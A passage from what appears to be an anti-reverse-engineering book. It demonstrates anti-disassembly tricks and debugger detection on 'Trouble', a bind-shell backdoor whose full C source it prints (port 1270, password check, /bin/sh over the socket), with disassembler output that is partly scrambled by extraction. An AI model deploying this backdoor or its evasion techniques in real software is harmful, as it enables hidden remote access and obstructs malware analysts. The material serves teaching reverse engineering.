return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}

You should notice a new asm block that adds a jump to a new label (unaligned). All
the new asm block does is jump over the value 0xe8 that has been inserted into the
middle of the function. However, look at it in GDB again.

Chapter 5: Obstructing Code Flow Analysis

(gdb) disas 0x400750,0x40077f

Dump of assembler code from 0x400750 to 0x40077f:
0x0000000000400750 <check_password+0>:
push
0x0000000000400751 <check_password+1>:
sub
0x0000000000400755 <check_password+5>:
mov
0x0000000000400758 <check_password+8>:
mov
0x0000000000400761 <check_password+17>:
mov
0x0000000000400766 <check_password+22>:
xor
0x0000000000400768 <check_password+24>:
movb
0x000000000040076d <check_password+29>:
jmp
0x000000000040076f <check_password+31>:
callq
0x0000000000400774 <check_password+36>:
mov
0x0000000000400776 <check_password+38>:
add
0x0000000000400778 <check_password+40>:
callq
0x000000000040077d <check_password+45>:
push
0x000000000040077e <check_password+46>:
retq
End of assembler dump.
(gdb)

192

%rbx
$0x30,%rsp
%rdi,%rbx
%fs:0x28,%rax
%rax,0x28(%rsp)
%eax,%eax
$0x0,0x20(%rsp)
0x400771 <check_password+33>
0xffffffffc8074f74
(%rdi),%eax
%al,(%rax)
0x400740 <calc_addr>
%rax

As you can see, at 0x40076d a jmp to 0x400771 now exists. Right after that GDB
has disassembled five bytes to be callq 0xffffffffc8074f74. Remember that we only
inserted one byte. It appears that GDB has taken our one invalid byte and combined it
with four valid bytes in order to create a new call instruction that isnt actually there.
Fortunately for the reverse engineer, x64 is made up of variable length instructions
and is therefore self-healing. The disassembly gets back to normal at 0x40077e.
Unfortunately, this trick doesnt work on Radare2 or IDA. Here is what IDA says:

193

Chapter 5: Obstructing Code Flow Analysis

check_password() witht he invalid byte

.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400751
.text:0000000000400755
.text:0000000000400758
.text:0000000000400761
.text:0000000000400766
.text:0000000000400768
.text:000000000040076D
.text:000000000040076D
.text:000000000040076F
.text:0000000000400770
.text:0000000000400770
.text:0000000000400770
.text:0000000000400770
.text:0000000000400777
.text:000000000040077C
.text:000000000040077D
.text:000000000040077D

check_password

public check_password
proc near

var_18
var_10

= byte ptr -18h

= qword ptr -10h

; CODE XREF: main+13D

push
rbx
sub
rsp, 30h
mov
rbx, rdi
mov
rax, fs:28h
mov
[rsp+38h+var_10], rax
xor
eax, eax
mov
[rsp+38h+var_18], 0
jmp
short unaligned
; ------------------------------------------------------------db 0E8h
; ------------------------------------------------------------unaligned:

check_password

; CODE XREF: check_password+1D

mov
rdi, 78Ah
call
calc_addr
push
rax
retn
endp ; sp-analysis failed

Jump! Jump!
As you can see, IDA appears to realize that the byte at 0x40076f should never be
executed so it skips over it entirely. What if you didnt use an absolute jump to the
unaligned label? Perhaps if we use two conditional jumps (jump zero and jump not
zero) back to back then IDA would disassemble the extra byte? Again, malwinator
has an excellent write up on this technique.. You need to update check_password()
like this:

https://www.malwinator.com/2015/11/22/anti-disassembly-used-in-malware-a-primer/

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194

check_password() with a double jump to obfuscate code

char* calc_addr(char* p_addr)
{
return p_addr + 0x400000;
}
bool __attribute__((optimize("O1"))) check_password(const char* p_password)
{
char pass[password_size] = {};
char* label_address = 0;
asm volatile(
"jz unaligned+1\n"
"jnz unaligned+1\n"
"unaligned:\n"
".byte 0xe8\n");
label_address = calc_addr(((char*)&&return_here) - 0x400000);
asm volatile(
"push %0\n"
"ret\n"
".string \"\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\""
:
: "g"(label_address));
return_here:
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}

Now if you look at how IDA handles this.

195

Chapter 5: Obstructing Code Flow Analysis

.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400751
.text:0000000000400755
.text:0000000000400758
.text:0000000000400761
.text:0000000000400766
.text:0000000000400768
.text:000000000040076D
.text:000000000040076F
.text:0000000000400771
.text:0000000000400771
.text:0000000000400771
.text:0000000000400771
.text:0000000000400771
.text:0000000000400776
.text:0000000000400778
.text:0000000000400778
.text:0000000000400778
.text:0000000000400778
.text:0000000000400778
.text:0000000000400778
.text:0000000000400778
.text:0000000000400778
.text:0000000000400778
.text:0000000000400778
.text:0000000000400870
.text:0000000000400870
.text:0000000000400874
.text:0000000000400875

public check_password
check_password:
push
sub
mov
mov
mov
xor
mov
jz
jnz

; CODE XREF: main+13D

rbx
rsp, 30h
rbx, rdi
rax, fs:28h
[rsp+28h], rax
eax, eax
byte ptr [rsp+20h], 0
short near ptr unaligned+1
short near ptr unaligned+1

unaligned:

; CODE XREF: .text:000000000040076D

; .text:000000000040076F
call
near ptr 0FFFFFFFF8D07CEBEh
; ----------------------------------------------------------dw 7
dq 0C350FFFFFFC2E800h, 7978777675747372h, 1F2444C6007F7E7Ah
dq 44C6F31E2444C6F9h, 931C2444C6C01D24h, 2444C6FD1B2444C6h
dq 0C6CF192444C69A1Ah, 172444C6C3182444h, 44C6DD162444C6CBh
dq 0D9142444C6EB1524h, 2444C6DC132444C6h, 0C6D2112444C6FC12h
dq 0F2444C6C7102444h, 44C6CF0E2444C6C8h, 0DB0C2444C6FC0D24h
dq 2444C6DA0B2444C6h, 0C6D0092444C6C80Ah, 72444C6FD082444h
dq 44C6FE062444C693h, 0C5042444C6C40524h, 2444C6C7032444C6h
dq 0C6CF012444C6C902h, 0FFFFFFAABAE32404h, 0E7894800000020BEh
dq 20BAFFFFFBD3E8h, 0C78948DE89480000h, 0FC08500000693E8h
dq 6428244C8B48C095h, 28250C3348h, 6600000205E80E74h, 841F0Fh
; ----------------------------------------------------------add
rsp, 30h
pop
rbx
retn

Always Follow the Conditional

That worked beautifully! Although that double jump to the same target is pretty
distinctive. Lets go deeper. This time lets use a conditional jump that we already
know the answer to. For example, if you use jz (jump if zero) and you know the jump
will always be followed then you can insert a dead byte again. How do you make
sure that the jz is always followed? Simply zero our rax.

Chapter 5: Obstructing Code Flow Analysis

196

check_password() forcing a conditional jump into an absolute jump

char* calc_addr(char* p_addr)
{
return p_addr + 0x400000;
}
bool __attribute__((optimize("O1"))) check_password(const char* p_password)
{
char pass[password_size] = {};
char* label_address = 0;
asm volatile(
"xor %%rax, %%rax\n"
"jz always_here + 1\n"
"always_here:\n"
".byte 0xe8\n"
: :
: "%rax");
asm volatile(
"jz unaligned+1\n"
"jnz unaligned+1\n"
"unaligned:\n"
".byte 0xe8\n");
label_address = calc_addr(((char*)&&return_here) - 0x400000);
asm volatile(
"push %0\n"
"ret\n"
".string \"\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\""
:
: "g"(label_address));
return_here:
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}

You can see that Ive added a new asm block that clears rax and jumps to always_-

197

Chapter 5: Obstructing Code Flow Analysis

here + 1. The result in IDA looks like this:

Absolute conditional jump in check_password()
.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400751
.text:0000000000400755
.text:0000000000400758
.text:0000000000400761
.text:0000000000400766
.text:0000000000400768
.text:000000000040076D
.text:0000000000400770
.text:0000000000400772
.text:0000000000400772
.text:0000000000400772
.text:0000000000400777
.text:0000000000400777
.text:0000000000400777
.text:0000000000400777
.text:000000000040077C
.text:0000000000400780
.text:0000000000400780
.text:0000000000400785
.text:0000000000400785
.text:0000000000400786
.text:0000000000400788
.text:0000000000400788
.text:0000000000400788
.text:0000000000400788
.text:0000000000400788
.text:0000000000400788
.text:0000000000400788
.text:0000000000400788
.text:0000000000400788
.text:0000000000400788
.text:0000000000400870
.text:0000000000400870
.text:0000000000400874
.text:0000000000400875

public check_password
check_password:
push
sub
mov
mov
mov
xor
mov
xor
jz

; CODE XREF: main+13D

rbx
rsp, 30h
rbx, rdi
rax, fs:28h
[rsp+28h], rax
eax, eax
byte ptr [rsp+20h], 0
rax, rax
short near ptr always_here+1

always_here:
call

; CODE XREF: .text:0000000000400770

near ptr 1B50AEBh

unaligned:
call
near ptr 0FFFFFFFF9307CEC4h
; ----------------------------------------------------------dd 0E8000007h
; ----------------------------------------------------------mov
esp, 50FFFFFFh
retn
; ----------------------------------------------------------dw 7372h
dq 7E7A797877767574h, 0C6C41F2444C6007Fh, 1D2444C6E01E2444h
dq 44C69C1C2444C692h, 0D81A2444C6F31B24h, 2444C6DC192444C6h
dq 0C6F8172444C6DA18h, 152444C6D2162444h, 44C6F8142444C6ECh
dq 0D8122444C6D01324h, 2444C69A112444C6h, 0C6DC0F2444C6ED10h
dq 0D2444C69F0E2444h, 44C6FB0C2444C6C3h, 0D90A2444C6980B24h
dq 2444C6C1092444C6h, 0C6ED072444C6D808h, 52444C6E9062444h
dq 44C6F0042444C693h, 0F8022444C6FE0324h, 2404C6DE012444C6h
dq 20BEFFFFFFAABAC3h, 0CDE8E78948000000h, 20BAFFFFFBh
dq 8DE8C78948DE8948h, 0C0950FC085000006h, 33486428244C8B48h
dq 87400000028250Ch, 1F0F000001FFE8h
; ----------------------------------------------------------add
rsp, 30h
pop
rbx
retn

Chapter 5: Obstructing Code Flow Analysis

198

Radare2 does even worse.

Radare2s handling of the absolute conditional jump
[0x0040030c]> pdf @ sym.check_password
/ (fcn) sym.check_password 43
|
sym.check_password ();
|
; var int local_20h @ rsp+0x20
; var int local_28h @ rsp+0x28
|
|
; CALL XREF from 0x0040026d (unk)
|
0x00400750
53
push rbx
|
0x00400751
4883ec30
sub rsp, 0x30
; '0'
|
0x00400755
4889fb
mov rbx, rdi
|
0x00400758
64488b042528. mov rax, qword fs:[0x28]
|
0x00400761
4889442428
mov qword [rsp + local_28h], rax
|
0x00400766
31c0
xor eax, eax
|
0x00400768
c644242000
mov byte [rsp + local_20h], 0
|
0x0040076d
4831c0
xor rax, rax
|
,=< 0x00400770
7401
je 0x400773
|
|
;-- always_here:
\
|
0x00400772
e874037501
call 0x1b50aeb
;-- unaligned:
0x00400777
e8
invalid
0x00400778
48
invalid
0x00400779
c7
invalid
0x0040077a
c7
invalid
[0x0040030c]> quit

Overlapping Instructions
In the previous examples, you inserted a byte that would never be executed by the
program. While this technique successfully obfuscated check_password(), a clever
disassembler might be able to identify the unused byte and display the correct
disassembly. However, there is a techique that even a clever disassembler would
struggle with: overlapping instructions. If you can write code that is executed twice
but represents two different instructions then you have introduced a real problem to
both the disassembler and the reverse engineer.
The most well known example of this technique, that I know of, can be found in

Chapter 5: Obstructing Code Flow Analysis

199

the book Practical Malware Analysis by Michael Sikorski and Andrew Honig.
The following updated version of check_password() is very similar to the version
explained in Practical Malware Analysis except youll be writing in x64 and, as
always, youll actually be able to compile it.
Overlapping instructions in check_password()
char* calc_addr(char* p_addr)
{
return p_addr + 0x400000;
}
bool __attribute__((optimize("O1"))) check_password(const char* p_password)
{
char pass[password_size] = {};
char* label_address = 0;
asm volatile(
"mov_ins:\n"
"mov $2283, %%rax\n"
"xor %%rax, %%rax\n"
"jz mov_ins+3\n"
".byte 0xe8\n"
: :
: "%rax");
asm volatile(
"xor %%rax, %%rax\n"
"jz always_here + 1\n"
"always_here:\n"
".byte 0xe8\n"
: :
: "%rax");
asm volatile(
"jz unaligned+1\n"
"jnz unaligned+1\n"
"unaligned:\n"
".byte 0xe8\n");
label_address = calc_addr(((char*)&&return_here) - 0x400000);

https://www.nostarch.com/malware

Chapter 5: Obstructing Code Flow Analysis

200

asm volatile(
"push %0\n"
"ret\n"
".string \"\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\""
:
: "g"(label_address));
return_here:
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}

The new code in question is the first block of asm.

Overlapping code block
asm volatile(
"mov_ins:\n"
"mov $2283, %%rax\n"
"xor %%rax, %%rax\n"
"jz mov_ins+3\n"
".byte 0xe8\n"
: :
: "%rax");

It probably isnt exactly clear what is going on here, so lets look at the disassembly.

201

Chapter 5: Obstructing Code Flow Analysis

Overlapping instructions in IDA

.text:000000000040076D
.text:000000000040076D
.text:0000000000400774
.text:0000000000400777
.text:0000000000400779
.text:0000000000400779
.text:000000000040077E

48
48
74
E8

mov_ins:
C7 C0 EB 08 00 00
31 C0
F7
48 31 C0 74

; CODE XREF: .text:0000000000400777

mov
rax, 8EBh
xor
rax, rax
jz
short near ptr mov_ins+3
call
near ptr 750038C6h
; ---------------------------------db 1

Starting at the mov_ins label this code block:

1. Moves 0xe8b into rax
2. Clears rax
3. Jump to the mov_ins label plus three
Step three is the interesting part because mov_ins+3 is right in the middle of the
original mov instruction. Is there an instruction at mov_ins+3? To test if that is the
case undefine the code where mov_ins starts and mark mov_ins+3 as code. IDA
should now look like this:
Discovering the valid code at mov_ins+3
.text:000000000040076D
.text:000000000040076E
.text:000000000040076F
.text:0000000000400770
.text:0000000000400770
.text:0000000000400770
.text:0000000000400772
.text:0000000000400773
.text:0000000000400774
.text:0000000000400775
.text:0000000000400776
.text:0000000000400777
.text:0000000000400778
.text:0000000000400779
.text:000000000040077A
.text:000000000040077A

48
C7
C0

mov_ins

EB 08
00
00
48
31
C0
74
F7
E8

db 48h ; H
db 0C7h ;
db 0C0h ; +
; ---------------------------------jmp
short loc_40077A
; ---------------------------------db
0
db
0
db 48h ; H
db 31h ; 1
db 0C0h ; +
db 74h ; t
db 0F7h ;
db 0E8h ; F
; ----------------------------------

Chapter 5: Obstructing Code Flow Analysis

.text:000000000040077A
.text:000000000040077A 48 31 C0
.text:000000000040077D 74 01

202
loc_40077A: ; CODE XREF: .text:0000000000400770
xor
rax, rax
jz
short near ptr always_here+1

You can see there is a valid jump at mov_ins+3. The jump skips over the remaining
code that you defined in the asm block down to the next bit of legitimate code. Thats
it! We reuse bytes in the mov instruction to hide the real jump to the code that follows
the asm block.

Chapter 6: Evading the

Debugger
For this chapter youll use the version of the Trouble bind shell found in the chap_6_debugger directory. This version of the bind shell uses many of the obfuscation
techniques that youve previously learned in the book.

Trace Me
Before you can catch debuggers like GDB you need to know how they work. Essential
to the operation of a debugger is the ptrace system call. The man page says:
The ptrace() system call provides a means by which one process (the
tracer) may observe and control the execution of another process (the
tracee), and examine and change the tracees memory and registers.
It is primarily used to implement breakpoint debugging and system call
tracing
One noteable aspect of ptrace is that only one tracer can control a tracee at a time.
This means if GDB is tracing Trouble then no other process can trace Trouble. This
is useful from an anti debugging point of view because you are able to determine if
a debugger is attached to Trouble simply by calling ptrace(). To try this out, update
Troubles main() to detect tracing. Note that the following code will require #include
<sys/ptrace.h> to be added as well.

man ptrace

Chapter 6: Evading the Debugger

204

Detect a debugger via ptrace()

int main(int p_argc, char* p_argv[])
{
(void)p_argc;
(void)p_argv;
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) != 0)
{
fprintf(stderr, "Tracer detected!\n");
exit(EXIT_FAILURE);
}

If you recompile Trouble with the ptrace() code and execute Trouble with GDB then
youll find that Trouble terminates early. Note the line Tracer detected! below.
Trouble exits early after failing to set the tracer
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ gdb ./trouble/tr\
ouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble/trouble...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x400130
Starting program: /home/albino-lobster/antire_book/chap_6_debugger/dontpanic/build/tr\
ouble/trouble
Tracer detected!
[Inferior 1 (process 59897) exited with code 01]
(gdb)

205

Chapter 6: Evading the Debugger

However, if you execute Trouble without GDB then it executes without issue. Whats
the deal? The new code you added makes a call to ptrace using PTRACE_TRACEME.
If Trouble wasnt started with GDB then this PTRACE_TRACEME call sets the parent
program as tracing program. In this case, the parent program is /bin/bash. To confirm
this, run Trouble and check its /proc/<pid>/status file. Here is an example of what
you should see.
Observing the tracer pid in /proc/pidof trouble/status
albino-lobster@ubuntu:~$ cat /proc/`pidof trouble`/status
Name:
trouble
State:
S (sleeping)
Tgid:
59935
Ngid:
0
Pid:
59935
PPid:
2402
TracerPid:
2402

The two most important lines in the above are PPid (parent pid) and TracerPid.
Both of these show the value of 2402. You can confirm that is bash by using the ps
command.
Finding pid 2402 in ps
albino-lobster@ubuntu:~$ ps
PID TTY
STAT
TIME
2835 pts/17
Ss
0:00
59953 pts/17
R+
0:00
2402 pts/1
Ss
0:01
59935 pts/1
S+
0:00

f
COMMAND
bash
\_ ps f
bash
\_ ./trouble/trouble

If Trouble was executed via GDB then the PTRACE_TRACEME call you added will
fail and Trouble will exit. This is because Trouble is already being traced by GDB so
it cant set the parent process as the tracer. Remember there can only be one tracer
at a time. In this way we prevent ptrace based debuggers from attaching to Trouble.
As another example, consider the gcore utility. gcore is a tool that produces core
dumps of running programs. This is particularly useful if a program is using a cryptor,
like Trouble does, since the core dump will capture the unencrypted version of the
program which can then be loaded into IDA or another disassembler. However, if we
use the PTRACE_TRACEME logic then gcore will fail.

Chapter 6: Evading the Debugger

206

gcore cant create a core due to another process already tracing Trouble
albino-lobster@ubuntu:~$ sudo gcore `pidof trouble`
Could not attach to process. If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user. For more details, see /etc/sysctl.d/10-ptrace.conf
warning: process 60023 is already traced by process 2402
ptrace: Operation not permitted.
You can't do that without a process to debug.
The program is not being run.
gcore: failed to create core.60023

Notice that gcore complains that Trouble is already being traced by process 2402?
A final example is the strace utility. strace lists all of the system calls that a program
makes. However, due to its use of ptrace Trouble is able to detect it.
Detecting strace using PTRACE_TRACEME
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ strace ./trouble\
/trouble
execve("./trouble/trouble", ["./trouble/trouble"], [/* 64 vars */]) = 0
arch_prctl(ARCH_SET_FS, 0x604240)
= 0
set_tid_address(0x604278)
= 61493
ptrace(PTRACE_TRACEME, 0, NULL, NULL)
= -1 EPERM (Operation not permitted)
writev(2, [{"", 0}, {"Tracer detected!\n", 17}], 2Tracer detected!
) = 17
exit_group(1)
= ?
+++ exited with 1 +++

One thing to be concerned about with the PTRACE_TRACEME approach is that you
are giving an unknown program, bash in this case, full control over your program.
Who knows if bash can be trusted to trace Trouble?

Trapping the Debugger

There is different but simple way to detect a debugger without having to rely on
ptrace(). The following code is an updated version of Trouble that uses the SIGTRAP
signal.

Chapter 6: Evading the Debugger

207

Catching the debugger using SIGTRAP

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

<stdio.h>
<unistd.h>
<stdlib.h>
<string.h>
<stdbool.h>
<sys/mman.h>
<signal.h>
<sys/types.h>
<sys/socket.h>
<netinet/in.h>
<sys/ptrace.h>

#include "rc4.h"
#include "xor_string.h"
extern void* check_password_size;
unsigned char check_password_key[128] __attribute((section(".rc4_check_password"))) =\
{ 0 };
char* calc_addr(char* p_addr)
{
return p_addr + 0x400000;
}
bool __attribute__((optimize("O1"), section(".check_password")))
check_password(const char* p_password)
{
char pass[password_size] = {};
char* label_address = 0;
asm volatile(
"mov_ins:\n"
"mov $2283, %%rax\n"
"xor %%rax, %%rax\n"
"jz mov_ins+3\n"
".byte 0xe8\n"
: :
: "%rax");
asm volatile(
"xor %%rax, %%rax\n"

Chapter 6: Evading the Debugger

208

"jz always_here + 1\n"

"always_here:\n"
".byte 0xe8\n"
: :
: "%rax");
asm volatile(
"jz unaligned+1\n"
"jnz unaligned+1\n"
"unaligned:\n"
".byte 0xe8\n");
label_address = calc_addr(((char*)&&return_here) - 0x400000);
asm volatile(
"push %0\n"
"ret\n"
".string \"\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\""
:
: "g"(label_address));
return_here:
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}
void trap_handler()
{
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1)
{
fprintf(stderr, "Failed to create the socket.");
exit(EXIT_FAILURE);
}
struct sockaddr_in bind_addr = {};
bind_addr.sin_family = AF_INET;
bind_addr.sin_addr.s_addr = htonl(INADDR_ANY);
bind_addr.sin_port = htons(1270);
int bind_result = bind(sock, (struct sockaddr*) &bind_addr,

Chapter 6: Evading the Debugger

209

sizeof(bind_addr));
if (bind_result != 0)
{
perror("Bind call failed");
exit(EXIT_FAILURE);
}
int listen_result = listen(sock, 5);
if (listen_result != 0)
{
perror("Listen call failed");
exit(EXIT_FAILURE);
}
while (true)
{
int client_sock = accept(sock, NULL, NULL);
if (client_sock < 0)
{
perror("Accept call failed");
exit(EXIT_FAILURE);
}
int child_pid = fork();
if (child_pid == 0)
{
// read in the password
char password_input[password_size] = { 0 };
int read_result = read(client_sock, password_input, password_size - 1);
if (read_result < (int)(password_size - 1))
{
close(client_sock);
exit(EXIT_FAILURE);
}
// decrypt valid target
struct rc4_state state = {};
mprotect(check_password, (uint64_t)&check_password_size, PROT_READ | PROT\
_WRITE | PROT_EXEC);
rc4_init(&state, check_password_key, sizeof(check_password_key));
rc4_crypt(&state, (unsigned char*)check_password, (unsigned char*)check_p\
assword,
(uint64_t)&check_password_size);

Chapter 6: Evading the Debugger

210

mprotect(check_password, (uint64_t)&check_password_size, PROT_READ | PROT\

_EXEC);
if (check_password(password_input))
{
close(client_sock);
exit(EXIT_FAILURE);
}
dup2(client_sock, 0);
dup2(client_sock, 1);
dup2(client_sock, 2);
char* empty[] = { NULL };
char binsh[] = { '/', 'b', 'i', 'n', '/', 's', 'h', 0 };
execve(binsh, empty, empty);
close(client_sock);
exit(EXIT_SUCCESS);
}
close(client_sock);
}
exit(EXIT_SUCCESS);
}
int main(int p_argc, char* p_argv[])
{
(void)p_argc;
(void)p_argv;
// register the trap handler function to handle SIGTRAP
struct sigaction sVal = { };
sVal.sa_flags = SA_SIGINFO;
sVal.sa_sigaction = trap_handler;
sigaction(SIGTRAP, &sVal, NULL);
// generate a sigtrap
kill(getpid(), SIGTRAP);
return EXIT_SUCCESS;
}

Chapter 6: Evading the Debugger

211

If you run this version of Trouble via GDB then it will exit without ever calling
trap_handler().
Trouble exiting early after SIGTRAP
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ gdb ./trouble/tr\
ouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble/trouble...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x4005b1
Starting program: /home/albino-lobster/antire_book/chap_6_debugger/dontpanic/build/tr\
ouble/trouble
Temporary breakpoint 1, 0x00000000004005b1 in main ()
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000400cd9 in kill ()
(gdb) c
Continuing.
[Inferior 1 (process 84663) exited normally]
(gdb)

As you can see from the above, GDB receives the SIGTRAP but doesnt pass it on to
Trouble so that trap_handler() gets executed.

Chapter 6: Evading the Debugger

212

There is a problem with this technique though. If the debugger attaches to Trouble
after the SIGTRAP has been generated then it wont be detected. In the following
example, gcore has no problem generating a core from Trouble.
Bypassing the SIGTRAP technique with gcore
albino-lobster@ubuntu:~$ sudo gcore `pidof trouble`
[sudo] password for albino-lobster:
0x0000000000401448 in __syscall ()
Saved corefile core.84691

gcore is able to attach to Trouble and create the core file. Unfortunately, there is
little our SIGTRAP method can do to stop this. Even if you generate more SIGTRAP
signals, this method simply doesnt prevent other processes from attaching.

Becoming Attached
Another well known method uses PTRACE_ATTACH from a forked child. Consider
the following changes to Trouble:
Trouble updated to trace itself
int main(int p_argc, char* p_argv[])
{
(void)p_argc;
(void)p_argv;
int fork_pid = fork();
if (fork_pid == 0)
{
// trace the parent process
if (ptrace(PTRACE_ATTACH, getppid(), NULL, NULL) != 0)
{
exit(EXIT_FAILURE);
}
ptrace(PTRACE_SETOPTIONS, getppid(), NULL, PTRACE_O_TRACEFORK);
// restart the parent so it can keep processing like normal

Chapter 6: Evading the Debugger

213

int status = 0;
wait(&status);
ptrace(PTRACE_CONT, getppid(), NULL, NULL);
// handle any signals that may come in from tracees
while (true)
{
int pid = wait(&status);
if (status >> 16 == PTRACE_EVENT_FORK)
{
// follow the fork
long newpid = 0;
ptrace(PTRACE_GETEVENTMSG, pid, NULL, &newpid);
ptrace(PTRACE_ATTACH, newpid, NULL, NULL);
ptrace(PTRACE_CONT, newpid, NULL, NULL);
}
ptrace(PTRACE_CONT, pid, NULL, NULL);
}
}

The code above will fork() a child process that becomes the tracer of the parent
Trouble process via PTRACE_ATTACH. It will also automatically begin tracing
any forks that Trouble creates due to the PTRACE_SETOPTIONS call. This largely
addresses the issues that we had with the PTRACEME method because we now know
the tracing program: Trouble! This also mostly addresses the issues we had with
SIGTRAP. No one can simply attach to the main Trouble process since it is being
traced by a child.
However, this approach does have issues:
1. Anyone can attach to the child process tracing Trouble.
2. If the forked tracer gets killed then the main process doesnt know.
3. Use of PTRACE_ATTACH requires escalated privileges.
An example of the second point looks like this:

Chapter 6: Evading the Debugger

214

Killing the child process in order to generate a core

albino-lobster@ubuntu:~$ ps fa
PID TTY
STAT
TIME COMMAND
6352 pts/21
Ss
0:00 bash
6956 pts/21
R+
0:00 \_ ps fa
6230 pts/9
Ss
0:00 bash
6942 pts/9
S
0:00 \_ sudo su
6943 pts/9
S
0:00
\_ su
6944 pts/9
S
0:00
\_ bash
6954 pts/9
S+
0:00
\_ ./trouble/trouble
6955 pts/9
S+
0:00
\_ ./trouble/trouble
albino-lobster@ubuntu:~$ sudo gcore 6954
Could not attach to process. If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user. For more details, see /etc/sysctl.d/10-ptrace.conf
warning: process 6954 is already traced by process 6955
ptrace: Operation not permitted.
You can't do that without a process to debug.
The program is not being run.
gcore: failed to create core.6954
albino-lobster@ubuntu:~$ sudo kill -9 6955
albino-lobster@ubuntu:~$ sudo gcore 6954
0x0000000000401328 in __syscall ()
Saved corefile core.6954
albino-lobster@ubuntu:~$

As you can see, before process 6955 gets killed gcore cant create a core file for 6955.
However, after sudo kill -9 6955 is executed, gcore is able to produce a core file.
However, you can easily fix this problem by using the ptrace option PTRACE_O_EXITKILL. This will send SIGKILL signals to all tracees if the tracer is killed. You
can update the code to look like this:
ptrace(PTRACE_SETOPTIONS, getppid(), NULL, PTRACE_O_TRACEFORK | PTRACE_O_EXITKILL);

Now if an attacker tries to kill the tracer then Trouble will simply disappear.

Chapter 6: Evading the Debugger

215

albino-lobster@ubuntu:~$ ps fa
PID TTY
STAT
TIME COMMAND
6352 pts/21
Ss
0:00 bash
7071 pts/21
R+
0:00 \_ ps fa
6230 pts/9
Ss
0:00 bash
7041 pts/9
S
0:00 \_ sudo su
7042 pts/9
S
0:00
\_ su
7043 pts/9
S
0:00
\_ bash
7068 pts/9
S+
0:00
\_ ./trouble/trouble
7069 pts/9
S+
0:00
\_ ./trouble/trouble
albino-lobster@ubuntu:~$ sudo gcore 7068
Could not attach to process. If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user. For more details, see /etc/sysctl.d/10-ptrace.conf
warning: process 7068 is already traced by process 7069
ptrace: Operation not permitted.
You can't do that without a process to debug.
The program is not being run.
gcore: failed to create core.7068
albino-lobster@ubuntu:~$ sudo kill 7069
albino-lobster@ubuntu:~$ sudo gcore 7068
ptrace: No such process.
You can't do that without a process to debug.
The program is not being run.
gcore: failed to create core.7068
albino-lobster@ubuntu:~$ ps fa
PID TTY
STAT
TIME COMMAND
6352 pts/21
Ss
0:00 bash
7086 pts/21
R+
0:00 \_ ps fa
6230 pts/9
Ss
0:00 bash
7041 pts/9
S
0:00 \_ sudo su
7042 pts/9
S
0:00
\_ su
7043 pts/9
S+
0:00
\_ bash

/proc/self/status
In the previous section you learned a method for protecting Trouble from debuggers
using a forked tracer. While the parent Trouble process is protected, the child tracer

Chapter 6: Evading the Debugger

216

is still vulnerable to debuggers attaching to it. What can be done to help mitigate
that? One way is that you can use the proc file system to see if a tracer is tracing our
tracer. Here is an example from the command line.
Understanding the the output of /proc/pid/status
albino-lobster@ubuntu:~$ ps fa
PID TTY
STAT
TIME COMMAND
6352 pts/21
Ss
0:00 bash
7126 pts/21
R+
0:00 \_ ps fa
